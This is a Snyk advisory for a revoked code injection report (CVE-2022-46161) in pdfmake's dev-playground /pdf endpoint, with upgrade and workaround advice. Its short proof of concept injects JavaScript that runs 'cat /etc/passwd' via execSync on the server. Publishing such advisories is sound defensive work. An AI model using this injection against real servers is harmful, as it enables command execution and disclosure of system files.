Code Injection The advisory has been revoked - it doesn't affect any version of package pdfmake Open this link in a new tab
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Test your applications- Snyk ID SNYK-JS-PDFMAKE-3160329
- published 7 Dec 2022
- disclosed 7 Dec 2022
- credit Ryan Finn
Introduced: 7 Dec 2022
CVE-2022-46161 Open this link in a new tabHow to fix?
Upgrade pdfmake
to version 0.2.7 or higher.
Amendment
This was deemed not a vulnerability.
Overview
pdfmake is a Client/server side PDF printing in pure JavaScript
Affected versions of this package are vulnerable to Code Injection because it contains an unsafe evaluation of user-controlled input in the /pdf
endpoint.
Note: Users are affected by this vulnerability only if using the dev-playground
component of the library. This component is not bundled in any of the versions available on package managers.
Workaround
Users are advised to restrict access to trusted user input.
PoC
const {execSync} = require('node:child_process');
var out = execSync('cat /etc/passwd');
dd = {
content: [
out.toString()
]
}